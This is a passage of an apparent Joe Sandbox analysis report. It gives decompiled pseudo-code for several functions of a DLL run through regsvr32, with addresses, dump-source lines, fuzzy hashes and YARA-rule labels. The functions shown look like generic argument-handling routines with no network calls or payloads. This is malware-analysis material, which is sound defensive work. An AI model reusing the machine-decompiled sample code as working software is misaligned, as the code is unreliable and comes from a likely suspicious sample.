				if ( *((intOrPtr*)(_t68 + 0x470)) != 1) goto 0x80034614;
				_t43 =  *((intOrPtr*)(_t68 + 0x34));
				r9b =  *((intOrPtr*)(_t64 + 0x39));
				_t72 = _t64 + (_t57 + _t57 * 2 + 0x90) * 8;
				if ( *_t72 != 0) goto 0x800345d0;
				 *_t72 = 3;
				 *((intOrPtr*)(_t72 + 4)) = r9b;
				 *((intOrPtr*)(_t72 + 0x10)) = _t43;
				dil = 1;
				goto 0x80034624;
				_v24 = _t43;
				r8d = 3;
				_t69 = _t64;
				if (E0000000118003FE64(_t41, _t64, _t69, _t72, _t73, _t80, _t81) != 0) goto 0x800345c8;
				_t60 =  *((intOrPtr*)(_t64 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t60 + 0x30)) = 1;
				 *((intOrPtr*)(_t60 + 0x2c)) = 0x16;
				_t61 =  *((intOrPtr*)(_t64 + 8));
				_v16 = _t61;
				_v24 = _t73;
				E00000001180025880(_t61, _t64, _t69, _t72, _t74, _t75, _t67 + 8);
				goto 0x800345cb;
				 *_t72 =  *((intOrPtr*)( *((intOrPtr*)(_t69 + 0x488 + _t61 * 8))));
				return 1;
			}






















                                                                                                        0x180034528
                                                                                                        0x180034539
                                                                                                        0x18003453c
                                                                                                        0x18003453e
                                                                                                        0x180034546
                                                                                                        0x18003454a
                                                                                                        0x18003454d
                                                                                                        0x180034550
                                                                                                        0x18003455f
                                                                                                        0x180034561
                                                                                                        0x180034567
                                                                                                        0x18003456a
                                                                                                        0x18003456f
                                                                                                        0x180034573
                                                                                                        0x18003457a
                                                                                                        0x180034580
                                                                                                        0x180034585
                                                                                                        0x18003458a
                                                                                                        0x180034591
                                                                                                        0x1800345a1
                                                                                                        0x1800345a3
                                                                                                        0x1800345ad
                                                                                                        0x1800345b1
                                                                                                        0x1800345b9
                                                                                                        0x1800345bb
                                                                                                        0x1800345c1
                                                                                                        0x1800345c5
                                                                                                        0x1800345c8
                                                                                                        0x1800345ce
                                                                                                        0x1800345d0
                                                                                                        0x1800345d4
                                                                                                        0x1800345da
                                                                                                        0x1800345e4
                                                                                                        0x1800345e6
                                                                                                        0x1800345ea
                                                                                                        0x1800345ed
                                                                                                        0x1800345f4
                                                                                                        0x1800345f8
                                                                                                        0x1800345ff
                                                                                                        0x180034603
                                                                                                        0x180034608
                                                                                                        0x18003460d
                                                                                                        0x180034612
                                                                                                        0x18003461f
                                                                                                        0x18003462e

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 49f151f2815409df47cf35074aee94ad7b409c594c595c889392c40cecdb0b0b
                                                                                                        • Instruction ID: 7018bffe159d79739fa6243e8cdb91227d686286ce58141e9790d2fc049c60c5
                                                                                                        • Opcode Fuzzy Hash: 49f151f2815409df47cf35074aee94ad7b409c594c595c889392c40cecdb0b0b
                                                                                                        • Instruction Fuzzy Hash: A1318D73605B8886DBA28F29E0813AE77A0E39DB88F258125DB8D4F351CF36C556CB00
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018003356C Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 49%
                                                                                                        			E0000000118003356C(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				long long _t42;
				intOrPtr _t55;
				signed long long _t56;
				intOrPtr _t59;
				signed long long _t60;
				long long _t63;
				long long _t66;
				intOrPtr* _t67;
				long long* _t70;
				long long _t71;
				void* _t72;
				void* _t73;
				intOrPtr* _t78;
				void* _t79;

				_a8 = __rbx;
				_t63 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80033599;
				_t78 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t78 + 8;
				_t66 =  *_t78;
				 *__rdx = _t66;
				goto 0x80033668;
				if (__eax - 0x63 <= 0) goto 0x800335da;
				_t55 =  *((intOrPtr*)(_t66 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t55 + 0x30)) = 1;
				 *((intOrPtr*)(_t55 + 0x2c)) = 0x16;
				_t56 =  *((intOrPtr*)(_t66 + 8));
				_v16 = _t56;
				_v24 = _t71;
				E00000001180025880(_t56, __rcx, _t66, __rdx, _t72, _t73, _t78 + 8);
				goto 0x8003366a;
				if ( *((intOrPtr*)(_t66 + 0x470)) != 1) goto 0x8003365a;
				_t42 =  *((intOrPtr*)(_t66 + 0x34));
				r9d =  *(_t63 + 0x3a) & 0x0000ffff;
				_t70 = _t63 + (_t56 + _t56 * 2 + 0x90) * 8;
				if ( *_t70 != 0) goto 0x80033616;
				 *_t70 = 1;
				 *((intOrPtr*)(_t70 + 4)) = r9w;
				 *((intOrPtr*)(_t70 + 0x10)) = _t42;
				dil = 1;
				goto 0x8003366a;
				_v24 = _t42;
				r8d = 1;
				_t67 = _t63;
				if (E000000011800404D0(_t63, _t67, _t70, _t72, _t79) != 0) goto 0x8003360e;
				_t59 =  *((intOrPtr*)(_t63 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t59 + 0x30)) = 1;
				 *((intOrPtr*)(_t59 + 0x2c)) = 0x16;
				_t60 =  *((intOrPtr*)(_t63 + 8));
				_v16 = _t60;
				_v24 = _t71;
				E00000001180025880(_t60, _t63, _t67, _t70, _t72, _t73, _t78 + 8);
				goto 0x80033611;
				 *_t70 =  *((intOrPtr*)( *((intOrPtr*)(_t67 + 0x488 + _t60 * 8))));
				return 1;
			}



















                                                                                                        0x18003356c
                                                                                                        0x18003357d
                                                                                                        0x180033580
                                                                                                        0x180033582
                                                                                                        0x18003358a
                                                                                                        0x18003358e
                                                                                                        0x180033591
                                                                                                        0x180033594
                                                                                                        0x1800335a3
                                                                                                        0x1800335a5
                                                                                                        0x1800335ab
                                                                                                        0x1800335ae
                                                                                                        0x1800335b3
                                                                                                        0x1800335b7
                                                                                                        0x1800335be
                                                                                                        0x1800335c4
                                                                                                        0x1800335c9
                                                                                                        0x1800335ce
                                                                                                        0x1800335d5
                                                                                                        0x1800335e5
                                                                                                        0x1800335e7
                                                                                                        0x1800335f1
                                                                                                        0x1800335f6
                                                                                                        0x1800335fe
                                                                                                        0x180033600
                                                                                                        0x180033606
                                                                                                        0x18003360b
                                                                                                        0x18003360e
                                                                                                        0x180033614
                                                                                                        0x180033616
                                                                                                        0x18003361a
                                                                                                        0x180033620
                                                                                                        0x18003362a
                                                                                                        0x18003362c
                                                                                                        0x180033630
                                                                                                        0x180033633
                                                                                                        0x18003363a
                                                                                                        0x18003363e
                                                                                                        0x180033645
                                                                                                        0x180033649
                                                                                                        0x18003364e
                                                                                                        0x180033653
                                                                                                        0x180033658
                                                                                                        0x180033665
                                                                                                        0x180033674

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: acd32495a0d18ae6cd79ab52e93c1e4a35ad90a754b7e86dc2072b18433df43f
                                                                                                        • Instruction ID: 2e3cd0ea3d66c9ee48f72039365585a4950179438d68bb3d03c4dbb5a9933dff
                                                                                                        • Opcode Fuzzy Hash: acd32495a0d18ae6cd79ab52e93c1e4a35ad90a754b7e86dc2072b18433df43f
                                                                                                        • Instruction Fuzzy Hash: 6D316172204A48CADB668F29E4827AD77A0F789B8CF65C129EB8C4B751DF36C156C704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018003259C Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 49%
                                                                                                        			E0000000118003259C(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				signed long long _v24;
				signed long long _t44;
				intOrPtr _t57;
				signed long long _t58;
				intOrPtr _t61;
				signed long long _t62;
				void* _t64;
				long long _t66;
				signed long long* _t70;
				signed long long _t71;
				void* _t72;
				void* _t73;
				void* _t79;

				_t66 = __rcx;
				_a8 = __rbx;
				_t64 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x800325ca;
				 *((long long*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + 8;
				 *__rdx = __rcx;
				goto 0x80032699;
				if (__eax - 0x63 <= 0) goto 0x8003260b;
				_t57 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t57 + 0x30)) = 1;
				 *((intOrPtr*)(_t57 + 0x2c)) = 0x16;
				_t58 =  *((intOrPtr*)(__rcx + 8));
				_v16 = _t58;
				_v24 = _t71;
				E00000001180025880(_t58, __rcx, __rcx, __rdx, _t72, _t73,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x8003269b;
				if ( *((intOrPtr*)(_t66 + 0x470)) != 1) goto 0x8003268b;
				_t44 =  *(_t66 + 0x34);
				r9d =  *(_t64 + 0x3a) & 0x0000ffff;
				_t70 = _t64 + (_t58 + _t58 * 2 + 0x90) * 8;
				if ( *_t70 != 0) goto 0x80032647;
				 *_t70 = 1;
				_t70[0] = r9w;
				_t70[2] = _t44;
				dil = 1;
				goto 0x8003269b;
				_v24 = _t44;
				r8d = 1;
				if (E000000011800404D0(_t64, _t64, _t70, _t72, _t79) != 0) goto 0x8003263f;
				_t61 =  *((intOrPtr*)(_t64 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t61 + 0x30)) = 1;
				 *((intOrPtr*)(_t61 + 0x2c)) = 0x16;
				_t62 =  *((intOrPtr*)(_t64 + 8));
				_v16 = _t62;
				_v24 = _t71;
				E00000001180025880(_t62, _t64, _t64, _t70, _t72, _t73,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x80032642;
				 *_t70 = _t62;
				return 1;
			}

















                                                                                                        0x18003259c
                                                                                                        0x18003259c
                                                                                                        0x1800325ad
                                                                                                        0x1800325b0
                                                                                                        0x1800325ba
                                                                                                        0x1800325c2
                                                                                                        0x1800325c5
                                                                                                        0x1800325d4
                                                                                                        0x1800325d6
                                                                                                        0x1800325dc
                                                                                                        0x1800325df
                                                                                                        0x1800325e4
                                                                                                        0x1800325e8
                                                                                                        0x1800325ef
                                                                                                        0x1800325f5
                                                                                                        0x1800325fa
                                                                                                        0x1800325ff
                                                                                                        0x180032606
                                                                                                        0x180032616
                                                                                                        0x180032618
                                                                                                        0x180032622
                                                                                                        0x180032627
                                                                                                        0x18003262f
                                                                                                        0x180032631
                                                                                                        0x180032637
                                                                                                        0x18003263c
                                                                                                        0x18003263f
                                                                                                        0x180032645
                                                                                                        0x180032647
                                                                                                        0x18003264b
                                                                                                        0x18003265b
                                                                                                        0x18003265d
                                                                                                        0x180032661
                                                                                                        0x180032664
                                                                                                        0x18003266b
                                                                                                        0x18003266f
                                                                                                        0x180032676
                                                                                                        0x18003267a
                                                                                                        0x18003267f
                                                                                                        0x180032684
                                                                                                        0x180032689
                                                                                                        0x180032696
                                                                                                        0x1800326a5

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: ba2fc485fa8e8e5c8376466315ebe820de4586f76b7bc9be285d2d477604aa8a
                                                                                                        • Instruction ID: d5ef98e5f7413e75c55b3ef893df908cedb12a7cf0b12fd9854f81c3cae48523
                                                                                                        • Opcode Fuzzy Hash: ba2fc485fa8e8e5c8376466315ebe820de4586f76b7bc9be285d2d477604aa8a
                                                                                                        • Instruction Fuzzy Hash: 4431A472104B88C5DBA68F29E0413AD77A0F78CB8CF658119EB8D4B751DF36C196CB04
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800355DC Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 49%
                                                                                                        			E000000011800355DC(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				long long _t42;
				intOrPtr _t55;
				signed long long _t56;
				intOrPtr _t59;
				signed long long _t60;
				long long _t63;
				intOrPtr* _t66;
				long long _t67;
				intOrPtr* _t68;
				long long* _t71;
				long long _t72;
				void* _t73;
				void* _t74;
				void* _t79;

				_a8 = __rbx;
				_t63 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80035609;
				_t66 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t66 + 8;
				_t67 =  *_t66;
				 *__rdx = _t67;
				goto 0x800356d8;
				if (__eax - 0x63 <= 0) goto 0x8003564a;
				_t55 =  *((intOrPtr*)(_t67 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t55 + 0x30)) = 1;
				 *((intOrPtr*)(_t55 + 0x2c)) = 0x16;
				_t56 =  *((intOrPtr*)(_t67 + 8));
				_v16 = _t56;
				_v24 = _t72;
				E00000001180025880(_t56, __rcx, _t67, __rdx, _t73, _t74, _t66 + 8);
				goto 0x800356da;
				if ( *((intOrPtr*)(_t67 + 0x470)) != 1) goto 0x800356ca;
				_t42 =  *((intOrPtr*)(_t67 + 0x34));
				r9d =  *(_t63 + 0x3a) & 0x0000ffff;
				_t71 = _t63 + (_t56 + _t56 * 2 + 0x90) * 8;
				if ( *_t71 != 0) goto 0x80035686;
				 *_t71 = 2;
				 *((intOrPtr*)(_t71 + 4)) = r9w;
				 *((intOrPtr*)(_t71 + 0x10)) = _t42;
				dil = 1;
				goto 0x800356da;
				_v24 = _t42;
				r8d = 2;
				_t68 = _t63;
				if (E000000011800404D0(_t63, _t68, _t71, _t73, _t79) != 0) goto 0x8003567e;
				_t59 =  *((intOrPtr*)(_t63 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t59 + 0x30)) = 1;
				 *((intOrPtr*)(_t59 + 0x2c)) = 0x16;
				_t60 =  *((intOrPtr*)(_t63 + 8));
				_v16 = _t60;
				_v24 = _t72;
				E00000001180025880(_t60, _t63, _t68, _t71, _t73, _t74, _t66 + 8);
				goto 0x80035681;
				 *_t71 =  *((intOrPtr*)( *((intOrPtr*)(_t68 + 0x488 + _t60 * 8))));
				return 1;
			}



















                                                                                                        0x1800355dc
                                                                                                        0x1800355ed
                                                                                                        0x1800355f0
                                                                                                        0x1800355f2
                                                                                                        0x1800355fa
                                                                                                        0x1800355fe
                                                                                                        0x180035601
                                                                                                        0x180035604
                                                                                                        0x180035613
                                                                                                        0x180035615
                                                                                                        0x18003561b
                                                                                                        0x18003561e
                                                                                                        0x180035623
                                                                                                        0x180035627
                                                                                                        0x18003562e
                                                                                                        0x180035634
                                                                                                        0x180035639
                                                                                                        0x18003563e
                                                                                                        0x180035645
                                                                                                        0x180035655
                                                                                                        0x180035657
                                                                                                        0x180035661
                                                                                                        0x180035666
                                                                                                        0x18003566e
                                                                                                        0x180035670
                                                                                                        0x180035676
                                                                                                        0x18003567b
                                                                                                        0x18003567e
                                                                                                        0x180035684
                                                                                                        0x180035686
                                                                                                        0x18003568a
                                                                                                        0x180035690
                                                                                                        0x18003569a
                                                                                                        0x18003569c
                                                                                                        0x1800356a0
                                                                                                        0x1800356a3
                                                                                                        0x1800356aa
                                                                                                        0x1800356ae
                                                                                                        0x1800356b5
                                                                                                        0x1800356b9
                                                                                                        0x1800356be
                                                                                                        0x1800356c3
                                                                                                        0x1800356c8
                                                                                                        0x1800356d5
                                                                                                        0x1800356e4

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: a3ae9b80aead58967a22629e22b574256e6b42edbe67ad15ee6fe2d20dd6fbc2
                                                                                                        • Instruction ID: 986dd2a2f660357f058ed2b290f7d99c19399c70a8eb35782358efe18414ae06
                                                                                                        • Opcode Fuzzy Hash: a3ae9b80aead58967a22629e22b574256e6b42edbe67ad15ee6fe2d20dd6fbc2
                                                                                                        • Instruction Fuzzy Hash: 7231A272205B48C6DB668F29E0413AD77A0F39CB8CF658125DB8C4B760DF36C156C704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180034630 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 52%
                                                                                                        			E00000001180034630(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				long long _v24;
				void* __rdi;
				signed int _t41;
				long long _t43;
				intOrPtr _t56;
				signed long long _t57;
				intOrPtr _t60;
				signed long long _t61;
				long long _t64;
				intOrPtr* _t67;
				long long _t68;
				long long _t69;
				long long* _t72;
				long long _t73;
				void* _t74;
				void* _t75;
				void* _t80;
				void* _t81;

				_a8 = __rbx;
				_t64 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x8003465d;
				_t67 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) = _t67 + 8;
				_t68 =  *_t67;
				 *__rdx = _t68;
				goto 0x8003472a;
				if (__eax - 0x63 <= 0) goto 0x8003469e;
				_t56 =  *((intOrPtr*)(_t68 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t56 + 0x30)) = 1;
				 *((intOrPtr*)(_t56 + 0x2c)) = 0x16;
				_t57 =  *((intOrPtr*)(_t68 + 8));
				_v16 = _t57;
				_v24 = _t73;
				E00000001180025880(_t57, __rcx, _t68, __rdx, _t74, _t75, _t67 + 8);
				goto 0x8003472c;
				if ( *((intOrPtr*)(_t68 + 0x470)) != 1) goto 0x8003471c;
				_t43 =  *((intOrPtr*)(_t68 + 0x34));
				r9b =  *((intOrPtr*)(_t64 + 0x39));
				_t72 = _t64 + (_t57 + _t57 * 2 + 0x90) * 8;
				if ( *_t72 != 0) goto 0x800346d8;
				 *_t72 = 3;
				 *((intOrPtr*)(_t72 + 4)) = r9b;
				 *((intOrPtr*)(_t72 + 0x10)) = _t43;
				dil = 1;
				goto 0x8003472c;
				_v24 = _t43;
				r8d = 3;
				_t69 = _t64;
				if (E00000001180040098(_t41, _t64, _t69, _t72, _t73, _t80, _t81) != 0) goto 0x800346d0;
				_t60 =  *((intOrPtr*)(_t64 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t60 + 0x30)) = 1;
				 *((intOrPtr*)(_t60 + 0x2c)) = 0x16;
				_t61 =  *((intOrPtr*)(_t64 + 8));
				_v16 = _t61;
				_v24 = _t73;
				E00000001180025880(_t61, _t64, _t69, _t72, _t74, _t75, _t67 + 8);
				goto 0x800346d3;
				 *_t72 =  *((intOrPtr*)( *((intOrPtr*)(_t69 + 0x488 + _t61 * 8))));
				return 1;
			}






















                                                                                                        0x180034630
                                                                                                        0x180034641
                                                                                                        0x180034644
                                                                                                        0x180034646
                                                                                                        0x18003464e
                                                                                                        0x180034652
                                                                                                        0x180034655
                                                                                                        0x180034658
                                                                                                        0x180034667
                                                                                                        0x180034669
                                                                                                        0x18003466f
                                                                                                        0x180034672
                                                                                                        0x180034677
                                                                                                        0x18003467b
                                                                                                        0x180034682
                                                                                                        0x180034688
                                                                                                        0x18003468d
                                                                                                        0x180034692
                                                                                                        0x180034699
                                                                                                        0x1800346a9
                                                                                                        0x1800346ab
                                                                                                        0x1800346b5
                                                                                                        0x1800346b9
                                                                                                        0x1800346c1
                                                                                                        0x1800346c3
                                                                                                        0x1800346c9
                                                                                                        0x1800346cd
                                                                                                        0x1800346d0
                                                                                                        0x1800346d6
                                                                                                        0x1800346d8
                                                                                                        0x1800346dc
                                                                                                        0x1800346e2
                                                                                                        0x1800346ec
                                                                                                        0x1800346ee
                                                                                                        0x1800346f2
                                                                                                        0x1800346f5
                                                                                                        0x1800346fc
                                                                                                        0x180034700
                                                                                                        0x180034707
                                                                                                        0x18003470b
                                                                                                        0x180034710
                                                                                                        0x180034715
                                                                                                        0x18003471a
                                                                                                        0x180034727
                                                                                                        0x180034736

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 4196c06e7bd5c2ff2910d863bf0b3c755ca0738167a7e6b61f55fd557213f2a8
                                                                                                        • Instruction ID: 3684da1f5cf903b9b5f059cb8076701e4c6c76b09f76393ab9f4bb83a82abe40
                                                                                                        • Opcode Fuzzy Hash: 4196c06e7bd5c2ff2910d863bf0b3c755ca0738167a7e6b61f55fd557213f2a8
                                                                                                        • Instruction Fuzzy Hash: 01316F73609A888ADB668F29E0513AE77A0E39AB88F658115DB8C4F351CF36C156C704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800336D8 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 52%
                                                                                                        			E000000011800336D8(void* __eax, long long __rbx, long long __rcx, long long* __rdx, long long _a8) {
				signed long long _v16;
				signed long long _v24;
				void* __rdi;
				signed int _t42;
				signed long long _t45;
				intOrPtr _t58;
				signed long long _t59;
				intOrPtr _t62;
				signed long long _t63;
				long long _t65;
				long long _t67;
				signed long long* _t71;
				signed long long _t72;
				void* _t73;
				void* _t74;
				void* _t80;

				_t67 = __rcx;
				_a8 = __rbx;
				_t65 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x474)) != 1) goto 0x80033705;
				_t79 =  *((intOrPtr*)(__rcx + 0x18));
				 *((long long*)(__rcx + 0x18)) =  *((intOrPtr*)(__rcx + 0x18)) + 8;
				 *__rdx = __rcx;
				goto 0x800337d1;
				if (__eax - 0x63 <= 0) goto 0x80033746;
				_t58 =  *((intOrPtr*)(__rcx + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t58 + 0x30)) = 1;
				 *((intOrPtr*)(_t58 + 0x2c)) = 0x16;
				_t59 =  *((intOrPtr*)(__rcx + 8));
				_v16 = _t59;
				_v24 = _t72;
				E00000001180025880(_t59, __rcx, __rcx, __rdx, _t73, _t74,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x800337d3;
				if ( *((intOrPtr*)(_t67 + 0x470)) != 1) goto 0x800337c4;
				_t45 =  *(_t67 + 0x34);
				r9b =  *(_t65 + 0x39);
				_t71 = _t65 + (_t59 + _t59 * 2 + 0x90) * 8;
				if ( *_t71 != 0) goto 0x80033780;
				 *_t71 = 1;
				_t71[0] = r9b;
				_t71[2] = _t45;
				dil = 1;
				goto 0x800337d3;
				_v24 = _t45;
				r8d = 1;
				if (E0000000118003FE64(_t42, _t65, _t65, _t71, _t72, _t79, _t80) != 0) goto 0x80033778;
				_t62 =  *((intOrPtr*)(_t65 + 8));
				r9d = 0;
				r8d = 0;
				 *((char*)(_t62 + 0x30)) = 1;
				 *((intOrPtr*)(_t62 + 0x2c)) = 0x16;
				_t63 =  *((intOrPtr*)(_t65 + 8));
				_v16 = _t63;
				_v24 = _t72;
				E00000001180025880(_t63, _t65, _t65, _t71, _t73, _t74,  *((intOrPtr*)(__rcx + 0x18)) + 8);
				goto 0x8003377b;
				 *_t71 = _t63;
				return 1;
			}



















                                                                                                        0x1800336d8
                                                                                                        0x1800336d8
                                                                                                        0x1800336e9
                                                                                                        0x1800336ec
                                                                                                        0x1800336ee
                                                                                                        0x1800336f6
                                                                                                        0x1800336fd
                                                                                                        0x180033700
                                                                                                        0x18003370f
                                                                                                        0x180033711
                                                                                                        0x180033717
                                                                                                        0x18003371a
                                                                                                        0x18003371f
                                                                                                        0x180033723
                                                                                                        0x18003372a
                                                                                                        0x180033730
                                                                                                        0x180033735
                                                                                                        0x18003373a
                                                                                                        0x180033741
                                                                                                        0x180033751
                                                                                                        0x180033753
                                                                                                        0x18003375d
                                                                                                        0x180033761
                                                                                                        0x180033769
                                                                                                        0x18003376b
                                                                                                        0x180033771
                                                                                                        0x180033775
                                                                                                        0x180033778
                                                                                                        0x18003377e
                                                                                                        0x180033780
                                                                                                        0x180033784
                                                                                                        0x180033794
                                                                                                        0x180033796
                                                                                                        0x18003379a
                                                                                                        0x18003379d
                                                                                                        0x1800337a4
                                                                                                        0x1800337a8
                                                                                                        0x1800337af
                                                                                                        0x1800337b3
                                                                                                        0x1800337b8
                                                                                                        0x1800337bd
                                                                                                        0x1800337c2
                                                                                                        0x1800337ce
                                                                                                        0x1800337dd

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 067851da62093e185ec8f0d7902e2cd359f4ca2d7ca1badac70af8f62252ce5d
                                                                                                        • Instruction ID: d83b1438e23850008b9bfac790454195ffda4cc7e6848384dc476019155fd087
                                                                                                        • Opcode Fuzzy Hash: 067851da62093e185ec8f0d7902e2cd359f4ca2d7ca1badac70af8f62252ce5d
                                                                                                        • Instruction Fuzzy Hash: 8A31C7B6208788C6DB668F29D0817AE77A0F38CB8CF158119EB8D0B751DF36C156CB00
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180032708 Relevance: .1, Instructions: 71COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 52%
